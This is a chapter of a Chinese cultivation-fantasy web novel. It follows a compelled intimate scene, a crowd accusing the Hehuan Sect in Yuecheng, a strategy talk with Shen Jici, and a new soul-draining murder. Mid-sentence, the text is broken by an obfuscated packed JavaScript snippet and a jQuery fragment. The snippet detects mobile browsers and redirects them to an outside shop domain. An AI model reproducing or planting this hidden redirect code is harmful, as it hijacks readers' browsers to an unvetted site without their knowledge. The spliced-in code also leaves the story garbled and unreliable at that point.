幸司衍静静看了她片刻,声音低缓:“既然你执意如此,那便……依你。”
苏轻沫反而愣住,有些不解地看着他。
他这便就……答应了?
幸司衍却不再解释,只是重新闭上了眼,周身那黯淡的苍青色光晕再次亮起,却不再是强行对抗阵灵之力,开始尝试……接纳与引导。
阵灵似乎感应到他态度的转变,那迫人的压力微微一滞,随即,第八道指令再次清晰地在两人识海中回荡。
苏轻沫的脸已红透,身体因那指令的内容而微微颤抖。
幸司衍睁开眼,看向她,目光深邃平静:“过来。”
苏轻沫心跳如雷,手足无措地愣在原地。他愿意了,可她又开始别扭了起来。总觉得不该如此,至少不该是现在。
犹豫一瞬,还是依言,缓缓挪动身子,靠近他。
幸司衍伸出手,指尖轻轻托起她的下巴,让她仰起脸,看着自己。
他的指腹微凉,带着薄茧,落在她的细腻肌肤上,而后细细摩挲着。
苏轻沫睫毛颤抖,闭上眼,不敢与他对视。
“看着本尊。”他开口,带着点命令的口气,又像是引导。
苏轻沫颤了颤,缓缓睁开眼。映入眼帘的,是他近在咫尺的俊美面容,和那双深不见底,此刻只映着她一人身影的眼眸。
说罢,他低下头,薄唇轻轻印上了她的额头。
苏轻沫怔住,随即,一股温热的暖流,伴随着他渡过来的精纯灵力,自额心涌入,缓缓抚平她心中的慌乱与身体的颤抖。
他……是在用他的方式,保护她最后的尊严,也为他自己的妥协,划下一条界限。
苏轻沫心头一酸,眼中水光更盛。她轻轻“嗯”了一声,算是回应。
幸司衍的吻,缓缓下移,掠过她轻颤的眼睫,湿润的脸颊,最后,停留在她红肿的唇瓣上。
他没有急于深入,只是轻柔地含着,吮吸,仿佛在品尝,又仿佛在等她适应。
苏轻沫生涩地回应着,手臂不知该落在何处,这时一只手轻轻握住了她的。
她顺从的顺着他的手,环上他的脖颈。身体深处那股被压抑许久的躁动,在他的亲吻下,渐渐苏醒,蔓延。
阵灵之力在两人之间流转,催促着更进一步的亲密。
幸司衍揽着她腰身的手微微收紧,另一只手,缓缓探向她的衣襟。
苏轻沫身体僵了僵,却没有躲闪,只是将脸更深地埋进他颈窝,任由那微凉的指尖,挑开她早已凌乱的衣衫,露出更多细腻的肌肤。
他的指尖顿了顿,随即,按照阵灵指令的轨迹,缓缓覆上,隔着最后一层薄薄的衣料,开始动作。
“嗯……”苏轻沫发出一声压抑的呻吟,身子软倒在他怀中。
幸司衍眸色渐深,吻住她的唇,将她的呜咽尽数吞没。
他的动作依旧克制,甚至带着一种研习功法般的严谨,可那指尖的温度,唇舌的纠缠,以及怀中女子越来越软的身子,越来越急促的呼吸,都在无声地诉说着,某些东西,正在失控的边缘。
衣衫半褪,青丝交缠。昏暗的灯光下,墙壁上交叠的剪影,随着他的动作,缓缓伏低……
与此同时,岳城。
岳城位于仙门势力交错之地,繁华喧嚣。此刻,城门处却围了一大群人,气氛剑拔弩张。
幸奕辰、幸云止与叶凌素,三人刚踏入城门,便被几名散修打扮的修士拦住了去路。
“快看!是合欢宗的人。”人群中,为首一名白衣修士高声喊道,指着幸奕辰,“我认得他,正是合欢宗首徒幸奕辰!”
人群顿时骚动起来,无数道目光齐刷刷射向三人,窃窃私语声如潮水蔓延开来。
“呵,什么风光霁月的合欢宗首徒,我看也不过如此。”一个尖利的女声响起,“听说富甲一方的苏家,偌大的家业,如今已全数落在他手中了。那苏家姑娘死得不明不白,搞不好就是被他逼死的。”
“那苏姑娘好歹是他未婚妻,人刚死没多久,他就急着接管苏家产业,野心昭然若揭。”
“何止!我听闻玄机阁惨案,现场可残留着合欢宗的功法气息。说不定那镇宗法器便是被某些丧心病狂之人取走的。”
议论声越来越大,指责也越来越难听。
幸奕辰脸上那惯常的温润笑意早已消失不见,面色阴沉,眼底翻涌着怒意。
他垂在身侧的手,悄然握紧,灵力在掌心暗暗汇聚。仿若他们再多说一句,便要蓄势而出。
叶凌素站在他身侧半步,冷眼扫过喧嚷的人群,嘴角噙着一丝若有似无的讥诮,仿佛在看一场与己无关的闹剧。
不过,在触及幸奕辰看过来的目光时,她又不得不扬声道:“诸位的嘴倒是没干没净的,可别胡乱攀咬,我合欢宗也不是谁都能来踩一脚的。”
幸云止眉头紧蹙,上前一步,挡在幸奕辰身前半个身位,对着人群拱手,声音清朗沉稳:“诸位道友,还请慎言。玄机阁之事,我合欢宗亦在全力追查,在真相水落石出之前,任何无端揣测与指责,不仅于事无补,更可能让真凶逍遥法外。至于苏姑娘之事,乃是我师兄私事,个中缘由复杂,并非诸位所想那般简单。”
“简单不简单,我们这些外人自然不知!”那最先开口的修士不依不饶,“但我们只看到,苏姑娘死了,苏家产业和家传法器归了合欢宗。谁知道是不是你们合欢宗监守自盗,贼喊捉贼?让你们掌门出来说清楚!”
“对!让你们掌门出来。他老人家德高望重,定能给我们一个交代。”
“说来,幸掌门已久不露面?莫非是心虚了?还是说……玄机阁之事,当真与合欢宗脱不了干系,连幸掌门都……”
不堪的猜测越来越离谱。
幸奕辰眼中寒光一闪,蓄势待发的灵力几乎要透体而出。
就在这时,幸云止的手轻轻按在了他的手臂上,对他几不可察地摇了摇头。
幸奕辰咬了咬牙,强行压下怒火。
就在场面即将失控之际,一道清越含笑的声音自人群外传来:“哟,岳城今日好生热闹。诸位道友,围着我凌虚宗的朋友,所为何事啊?”
人群分开,一袭天青色广袖长袍的沈霁辞摇着白玉骨扇,翩翩而来。
他脸上带着惯有的风流笑意,桃花眼扫过众人,最后落在幸奕辰三人身上,微微颔首。
“是凌虚宗的少宗主。”有人认出他来。
沈霁辞走到近前,扇子一合,对众人笑道:“诸位,沈某不才,却也有几句话不得不说。合欢宗与我凌虚宗同气连枝,向来交好,幸掌门更是德我父亲敬佩之人。”
他看向众人,眼神略过叶凌素时微微一顿,又不着痕迹移开,“关于玄机阁之事,仙门各宗正在协力调查,想必不久便有分晓。至于幸掌门……”
他顿了顿,笑容微敛,正色道,“幸掌门修为通玄,德高望重。近日不过是在闭门清修,参悟大道,以备不久后的清谈会。届时,幸掌门自会现身,与各宗道友共商大事,也会就近日流言,给天下同道一个交代。诸位此刻在此争执,徒惹纷乱,岂非让亲者痛,仇者快?”
他这番话,抬出了凌虚宗和其父沈清玄的名头,又给了众人一个看似合理的解释,倒是暂时压下了众人的激愤。
幸云止与幸奕辰闻言,心下同时一凛。
沈霁辞这番话,看似在为合欢宗开脱,却无异于将合欢宗置于更险的境地。
只因,他们心知肚明,师尊根本不可能如期现身。若届时掌门未至,岂非坐实了掌门心虚隐匿的传言?
二人对视一眼,顿觉不妙。
那带头闹事的修士看了看沈霁辞,又看了看合欢宗几人,心知今日讨不到好,只得讪讪道:“既然沈少宗主如此说,我等便信凌虚宗一回。清谈会上,我等等着合欢宗的交代,我们走。”
说着,便带着几个
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17575978|203604||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
同伴挤开人群走了。围观人群见没了热闹,也渐渐散去,但投向幸奕辰三人的目光,依旧复杂。
沈霁辞松了口气,转身对幸云止笑道:“云止兄,景行小弟没与你一同?这位是……”
他的目光落在叶凌素身上,眼中故意掠过一丝惊艳与好奇。
幸云止拱手还礼:“多谢霁辞兄解围。景行随清和师叔前往他处查探。这位是叶凌素,叶师姐,我宗门内翘楚。”
叶凌素上前一步,对沈霁辞行了个标准的道礼,声音温顺,不似常日那般柔媚张扬:“凌虚宗沈少主,久仰。合欢宗叶凌素,有礼了。”
她举止得体,神色平静,只是在那清冷的外表下,隐在裙袖中的手,似乎比方才攥得更紧了些。
沈霁辞笑着还礼:“叶仙子不必多礼。早听闻合欢宗叶仙子天资卓绝,冷艳无双,今日一见,果然名不虚传。”
他夸得真诚,目光在叶凌素脸上停留一瞬,便礼貌地移开,转向幸奕辰,“奕辰兄,许久不见,节哀。”
幸奕辰已恢复了温润神色,只是眼底仍有未散的阴郁,扯了扯嘴角:“劳沈兄挂心。方才,多谢了。”
“举手之劳。”沈霁辞摇着扇子,看了看天色,“此地非谈话之所,几位远道而来,想必还未寻到下榻之处?不如由沈某做东,前面‘悦来居’还算清静,我们边喝边聊?正好,关于玄机阁和近日一些怪事,沈某也有些线索,想与几位商讨。”
幸云止与幸奕辰交换了一个眼神,点了点头:“如此,有劳沈兄了。”
几人便跟随沈霁辞,往城内最大的酒肆走去。
一路上,沈霁辞与幸云止低声交谈着各自查到的线索,幸奕辰沉默地跟在后面,目光不时扫过街边巷角,神色晦暗不明。
叶凌素则落后半步,默默跟随,只是那双清冷的眸子,偶尔会落在沈霁辞谈笑风生的背影上,闪过极其复杂难辨的情绪。
悦来居梅字号雅间。
沈霁辞在雅间内内布下一道隔音屏障,神色转为严肃:“诸位请看,凌虚宗弟子从玄机阁幸存者零碎的记忆中,窥见了一些共同点,所有受害者在遭遇不测前,都沉溺幻梦,虽与蚀梦邪术特征相似。但据典籍记载,中蚀梦者心神耗尽而亡时,面容应因痛苦而扭曲,绝非……”
幸云止接过话头,看向沈霁辞:“绝非面带愉悦之色。想必,此差异是关键。”
沈霁辞颔首,掐诀,一道极为微弱的紫色光晕虚影浮现,旋即消散。
“这便是现场残留的痕迹,经本门法器反复探查,确认其波动属性,与合欢宗独门功法催发时产生的灵气,有九成相似。”
幸奕辰抱臂靠在窗边,冷哼了声:“如此明显?倒像是生怕别人不知道是合欢宗干的。”
沈霁辞摇头:“正因其过于刻意,才更显蹊跷,天下间能察觉者恐怕寥寥。若真为嫁祸,寻常修士又绝难模仿出合欢宗功法的神韵。”
几人反复推敲,却未有定论,至夜色渐深,方才各自回房歇息。
然而,万籁俱寂的后半夜,岳城西区。
一声短促凄厉的惨叫骤然划破寂静,随即戛然而止。
不久后,洞府外火把通明。
年轻的巡城修士声音发颤:“又是这样!师兄,您看。这人……像是被什么东西强行抽走了魂魄,听闻合欢宗的人眼下便在城内。”
年长的修士蹲在散修尸体旁,沉声开口:“元神被抽离,三魂七魄不剩一缕……是在神魂颠倒中被摄走了一切。快去禀报……不必了!”
他看向同伴手中那嗡嗡震颤的罗盘法器,颓然道:“消息,恐怕已经捂不住了。”
天色微明,流言已席卷岳城。
“听说了吗?西区那个独居的散修,死状和玄机阁一模一样!”
“笑着死的,魂魄被抽走了,一点痕迹都没留。”
“是合欢宗的人干的,他们前脚来到岳城,后脚岳城便跟着出事。”